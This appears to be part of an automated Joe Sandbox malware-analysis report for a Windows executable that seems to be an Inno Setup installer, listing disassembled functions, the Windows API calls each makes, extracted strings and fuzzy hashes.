FindResourceA.KERNEL32(00000000,00002B67,0000000A), ref: 00409C3E
SizeofResource.KERNEL32(00000000,00000000,?,0040A6B3,00000000,0040AC4A,?,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 00409C51
LoadResource.KERNEL32(00000000,00000000,00000000,00000000,?,0040A6B3,00000000,0040AC4A,?,00000001,00000000,00000002,00000000,0040AC92,?,00000000), ref: 00409C63
LockResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0040A6B3,00000000,0040AC4A,?,00000001,00000000,00000002,00000000,0040AC92), ref: 00409C74

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 66472a43d98f2116202d14454299061058d21427157a3f4f4112e001326967e1
Instruction ID: 5c2a5118689e511edc0a9dde7e1b9e77d0383d271af581b44440e1e73e890ea9
Opcode Fuzzy Hash: 66472a43d98f2116202d14454299061058d21427157a3f4f4112e001326967e1
Instruction Fuzzy Hash: B0E07E80B8874726FA6576FB08C7B6B008C4BA570EF00003BB700792C3DDBC8C04462E

Function 00405258 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040545A,?,?,?,00000000,0040560C), ref: 0040526B

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b79b605a6dbd2dbd76dc5df923bc970e8acc9169766131cf64cabc826e101d13
Instruction ID: 1db3d1c1bb6fab5f91442dea8a08a829cd161d84d3a7e1f0c2fe21aaaafd944f
Opcode Fuzzy Hash: b79b605a6dbd2dbd76dc5df923bc970e8acc9169766131cf64cabc826e101d13
Instruction Fuzzy Hash: 9ED02EA230E2006AE210808B2C84EBB4A9CCEC53A0F00007FF648C3242D2208C029B76

Function 004026C4 Relevance: 1.5, APIs: 1, Instructions: 20timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 004026CE

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: SystemTime
String ID:
API String ID: 2656138-0
Opcode ID: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
Instruction ID: 69442b1fa125f02c17f5f00667ba5619268a94e84ed87230136e9e38920861ba
Opcode Fuzzy Hash: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
Instruction Fuzzy Hash: 14E04F21E0010A82C704ABA5CD435EDF7AEAB95600B044272A418E92E0F631C251C748

Function 00405CF4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,004065F0,00000000,004065FE,?,?,?,?,?,0040A622), ref: 00405D02

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 804cda8d473c4c61bcc63f12479ba9190822d5c554409fc9a119c77cb0a2aa37
Instruction ID: 4c33b40dd65743d8d98a5ffd827b1eb297e5dd4f71424004bfe2d5ab9b26ea54
Opcode Fuzzy Hash: 804cda8d473c4c61bcc63f12479ba9190822d5c554409fc9a119c77cb0a2aa37
Instruction Fuzzy Hash: 00C0126040070186D7109B31DC02B1672D4AB44310F4405396DA4963C2E73C80018A6E

Function 0040840C Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d767100099eb102bdc21c19fdb755dbde7929e86d9821f584b3da527505dd0e
Instruction ID: 7dc6dc86846b3232beed044054ddb30c9891ac2fec336679fba6e94018ae2b4c
Opcode Fuzzy Hash: 4d767100099eb102bdc21c19fdb755dbde7929e86d9821f584b3da527505dd0e
Instruction Fuzzy Hash: C032D775E00219DFCB14CF99CA80AADB7B2BF88314F24816AD855B7385DB34AE42CF55

Function 00407024 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,00409918), ref: 0040704D
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407053
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,00409918), ref: 004070A1

Strings

.DEFAULT\Control Panel\International, xrefs: 00407078
kernel32.dll, xrefs: 00407048
GetUserDefaultUILanguage, xrefs: 00407043
Locale, xrefs: 00407090
Control Panel\Desktop\ResourceLocale, xrefs: 004070B0

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: 84283e8ecd5f01446eeee6c4ca3ac4597d6d061694d9d4138b3ca6e7d0b19e25
Instruction ID: c068e7fb85b52830e378cef5638f1cf195f9e270113e5aa630163df598a56aa7
Opcode Fuzzy Hash: 84283e8ecd5f01446eeee6c4ca3ac4597d6d061694d9d4138b3ca6e7d0b19e25
Instruction Fuzzy Hash: 72214170E04209ABDB10EAB5CC55A9E77A9EB48304F60847BA510FB3C1D7BCAE01875E

Function 00403A97 Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B1E
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B42
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B5E
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00403B7F
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00403BA8
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00403BB2
GetStdHandle.KERNEL32(000000F5), ref: 00403BD2
GetFileType.KERNEL32(?,000000F5), ref: 00403BE9
CloseHandle.KERNEL32(?,?,000000F5), ref: 00403C04
GetLastError.KERNEL32(000000F5), ref: 00403C1E

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction ID: 6684f6b4d1923fa93cc5777a7ebe0ca766b8c5f16b1f456132d2f0a6dbb27d3d
Opcode Fuzzy Hash: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction Fuzzy Hash: 444194302042009EF7305F258805B237DEDEB4571AF208A3FA1D6BA6E1E77DAE419B5D

Function 004053C4 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,0040560C,?,?,?,?,00000000,00000000,00000000,?,004065EB,00000000,004065FE), ref: 004053DE

Part of subcall function 0040520C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A

Part of subcall function 00405258: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040545A,?,?,?,00000000,0040560C), ref: 0040526B

Strings

AMPM, xrefs: 004055A9
:mm, xrefs: 004055C0
m/d/yy, xrefs: 004054AD
:mm:ss, xrefs: 004055DA
mmmm d, yyyy, xrefs: 004054CF

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 2becd82198b95216644133442ecc563e5ef80f5327bc31795fb041598c227e39
Instruction ID: cc137df54ae1fcbb63b87987e69a719e9c27c4b31815d0debc5c9b1d2781c89a
Opcode Fuzzy Hash: 2becd82198b95216644133442ecc563e5ef80f5327bc31795fb041598c227e39
Instruction Fuzzy Hash: F8515374B00548ABDB00EBA59891A5F7769DB88304F50D5BBB515BB3C6CA3DCA058F1C

Function 004019DC Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00401AB4), ref: 00401A09
LocalFree.KERNEL32(006DA550,00000000,00401AB4), ref: 00401A1B
VirtualFree.KERNEL32(?,00000000,00008000,006DA550,00000000,00401AB4), ref: 00401A3A
LocalFree.KERNEL32(006DB550,?,00000000,00008000,006DA550,00000000,00401AB4), ref: 00401A79
RtlLeaveCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AA4
RtlDeleteCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AAE

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction ID: 5447b05044442752c1d56c7733342563ab4b4f61826a3093f511f794066d9233
Opcode Fuzzy Hash: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction Fuzzy Hash: 91116330341280DAD711ABA59EE2F623668B785748F44437EF444B62F2C67C9840CA9D

Function 00403D02 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 72windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00403D9D
ExitProcess.KERNEL32 ref: 00403DE5

Strings

9@, xrefs: 00403D29, 00403D34
Error, xrefs: 00403D91
Runtime error at 00000000, xrefs: 00403D96, 00403DA9

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000$9@
API String ID: 1220098344-1503883590
Opcode ID: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction ID: db3008c0e6bc5d60e05df0545d3e9f81ce91e923819fa2a9fb93000da4b6b716
Opcode Fuzzy Hash: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction Fuzzy Hash: B521F830A04341CAE714EFA59AD17153E98AB49349F04837BD500B73E3C77C8A45C76E

Function 004036B8 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 004036F2
SysAllocStringLen.OLEAUT32(?,00000000), ref: 004036FD
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403710
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 0040371A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403729

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: 759139aa8138bb4f1b890a81a570935fc2f09484a8ccbcda4eb7e9d11bc9ffe5
Instruction ID: 1285967c487f36a4f1f77a8b8e1f1fe351824cacfdb80e5859a13ebcd08b75b2
Opcode Fuzzy Hash: 759139aa8138bb4f1b890a81a570935fc2f09484a8ccbcda4eb7e9d11bc9ffe5
Instruction Fuzzy Hash: 17F068A13442543AF56075A75C43FAB198CCB45BAEF10457FF704FA2C2D8B89D0492BD

Function 00406E10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000,00409918,00000000), ref: 00406E4C
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,70000000,?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000), ref: 00406EBC

Strings

)q@, xrefs: 00406F3F, 00406E98, 00406EA8, 00406F04, 00406F28, 00406F18, 00406EEF

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: QueryValue
String ID: )q@
API String ID: 3660427363-2284170586
Opcode ID: 32d2d681139902fa63b50b1e86c1c6042aee641263ad409bd5d16b68eaa8278f
Instruction ID: 22a93fbabe645b78fd14ced98f65bd4bcb22fe3fd6f8222f7fa8e6a3c98f8dfc
Opcode Fuzzy Hash: 32d2d681139902fa63b50b1e86c1c6042aee641263ad409bd5d16b68eaa8278f
Instruction Fuzzy Hash: E6415E31D0021AAFDB21DF95C881BAFB7B8EB04704F56447AE901F7280D738AF108B99

Function 00409C88 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,00000000,Setup,00000010), ref: 00409CBD

Strings

The Setup program accepts optional command line parameters./HELP, /?Shows this information./SP-Disables the This will install... Do you wish to continue? prompt at the beginning of Setup./SILENT, /VERYSILENTInstructs Setup to be silent or very si, xrefs: 00409CA1
Setup, xrefs: 00409CAD

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message
String ID: Setup$The Setup program accepts optional command line parameters./HELP, /?Shows this information./SP-Disables the This will install... Do you wish to continue? prompt at the beginning of Setup./SILENT, /VERYSILENTInstructs Setup to be silent or very si
API String ID: 2030045667-3271211647
Opcode ID: bc66b1cf8cea732a030952d466b76090b354ad7a58696f118c0a4b0261ee3717
Instruction ID: b8b600ed6bdfe48e96a015bdf4867c85bc36f5512d0f27a60c0f94c744360238
Opcode Fuzzy Hash: bc66b1cf8cea732a030952d466b76090b354ad7a58696f118c0a4b0261ee3717
Instruction Fuzzy Hash: 8EE0E5302482087EE311EA528C13F6A7BACE789B04F600477F900B15C3D6786E00A068

Function 004030DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0040A60E), ref: 004030E3
GetCommandLineA.KERNEL32(00000000,0040A60E), ref: 004030EE

Strings

U1hd.@, xrefs: 00403103

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: U1hd.@
API String ID: 2123368496-2904493091
Opcode ID: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction ID: 0f926add87520dc699e98d27074396f9fab16295c11a520b4b5863bd90c7cb52
Opcode Fuzzy Hash: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction Fuzzy Hash: 03C01274541300CAD328AFF69E8A304B990A385349F40823FA608BA2F1CA7C4201EBDD

Function 004094D8 Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 004094F7
Sleep.KERNEL32(?,?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 00409507
GetLastError.KERNEL32(?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 0040951A
GetLastError.KERNEL32(?,?,?,0000000D,?,0040ABED,000000FA,00000032,0040AC54), ref: 00409524

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 97bb3b87fdda019371420e794be163fcf62410a15a23215566f33b90e6dc6563
Instruction ID: cd4a420f7ace5638a97e0bdb8a1e9fccbb234b9240edd4770f97938e6011a3cc
Opcode Fuzzy Hash: 97bb3b87fdda019371420e794be163fcf62410a15a23215566f33b90e6dc6563
Instruction Fuzzy Hash: 16F0967360451477CA35A5AF9D81A5F634DDAD1354B10813BE945F3283C538DD0142A9

Analysis Process: file.tmpPID: 3720, Parent PID: 6796COMMON

Execution Graph

Execution Coverage:	15.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	54

Executed Functions

Function 004707F8 Relevance: 78.0, APIs: 4, Strings: 40, Instructions: 962COMMON

Download Yara Rule

Strings

Same version. Skipping., xrefs: 00470E35
@, xrefs: 00470900
Couldn't read time stamp. Skipping., xrefs: 00470E85
Time stamp of existing file: (failed to read), xrefs: 00470B87
Version of our file: %u.%u.%u.%u, xrefs: 00470C40
Failed to read existing file's SHA-1 hash. Proceeding., xrefs: 00470E20
Existing file is a newer version. Skipping., xrefs: 00470D52
User opted not to strip the existing file's read-only attribute. Skipping., xrefs: 00470FE6
Version of existing file: (none), xrefs: 00470E4A
Failed to strip read-only attribute., xrefs: 00471023
Will register the file (a type library) later., xrefs: 00471663
Stripped read-only attribute., xrefs: 00471017
Time stamp of our file: %s, xrefs: 00470AEB
Installing the file., xrefs: 00471059
Skipping due to "onlyifdoesntexist" flag., xrefs: 00470B1E
Version of our file: (none), xrefs: 00470C4C
Non-default bitness: 32-bit, xrefs: 00470A0B
Existing file's SHA-1 hash is different from our file. Proceeding., xrefs: 00470E14
Time stamp of existing file: %s, xrefs: 00470B7B
, xrefs: 00470D1F, 00470EF0, 00470F6E
Incrementing shared file count (32-bit)., xrefs: 004716F5
Will register the file (a DLL/OCX) later., xrefs: 0047166F
Dest file exists., xrefs: 00470B0B
Skipping due to "onlyifdestfileexists" flag., xrefs: 0047104A
Same time stamp. Skipping., xrefs: 00470EA5
InUn, xrefs: 004712AF
Version of existing file: %u.%u.%u.%u, xrefs: 00470CCC
Time stamp of our file: (failed to read), xrefs: 00470AF7
Incrementing shared file count (64-bit)., xrefs: 004716DC
Non-default bitness: 64-bit, xrefs: 004709FF
User opted not to overwrite the existing file. Skipping., xrefs: 00470F9D
Existing file has a later time stamp. Skipping., xrefs: 00470F1F
Existing file is protected by Windows File Protection. Skipping., xrefs: 00470F3C
.tmp, xrefs: 00471107
Dest file is protected by Windows File Protection., xrefs: 00470A3D
Existing file's SHA-1 hash matches our file. Skipping., xrefs: 00470E05
Installing into GAC, xrefs: 00471864
-- File entry --, xrefs: 0047084B
Uninstaller requires administrator: %s, xrefs: 004712DF
Dest filename: %s, xrefs: 004709E4

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID:
String ID: $-- File entry --$.tmp$@$Couldn't read time stamp. Skipping.$Dest file exists.$Dest file is protected by Windows File Protection.$Dest filename: %s$Existing file has a later time stamp. Skipping.$Existing file is a newer version. Skipping.$Existing file is protected by Windows File Protection. Skipping.$Existing file's SHA-1 hash is different from our file. Proceeding.$Existing file's SHA-1 hash matches our file. Skipping.$Failed to read existing file's SHA-1 hash. Proceeding.$Failed to strip read-only attribute.$InUn$Incrementing shared file count (32-bit).$Incrementing shared file count (64-bit).$Installing into GAC$Installing the file.$Non-default bitness: 32-bit$Non-default bitness: 64-bit$Same time stamp. Skipping.$Same version. Skipping.$Skipping due to "onlyifdestfileexists" flag.$Skipping due to "onlyifdoesntexist" flag.$Stripped read-only attribute.$Time stamp of existing file: %s$Time stamp of existing file: (failed to read)$Time stamp of our file: %s$Time stamp of our file: (failed to read)$Uninstaller requires administrator: %s$User opted not to overwrite the existing file. Skipping.$User opted not to strip the existing file's read-only attribute. Skipping.$Version of existing file: %u.%u.%u.%u$Version of existing file: (none)$Version of our file: %u.%u.%u.%u$Version of our file: (none)$Will register the file (a DLL/OCX) later.$Will register the file (a type library) later.
API String ID: 0-4021121268
Opcode ID: b7c2b54034891d9a0af56454c45f4974a721bcd5ea4d13fabdce3f6e5da70021
Instruction ID: 0fe32287a693f12f7c2661215c890409d16b812d695f5d9f05be84b50b2e4112
Opcode Fuzzy Hash: b7c2b54034891d9a0af56454c45f4974a721bcd5ea4d13fabdce3f6e5da70021
Instruction Fuzzy Hash: 16927474A04288DFDB11DFA9C445BDDBBB5AF05304F1480ABE848BB392C7789E49CB59

Function 0042E09C Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 178
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32(00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E0D6
GetVersion.KERNEL32(00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E0F3
GetModuleHandleA.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E10C
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042E112
CheckTokenMembership.KERNELBASE(00000000,00000000,?,00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E127
FreeSid.ADVAPI32(00000000,0042E287,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E27A

Strings

advapi32.dll, xrefs: 0042E107
CheckTokenMembership, xrefs: 0042E102

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

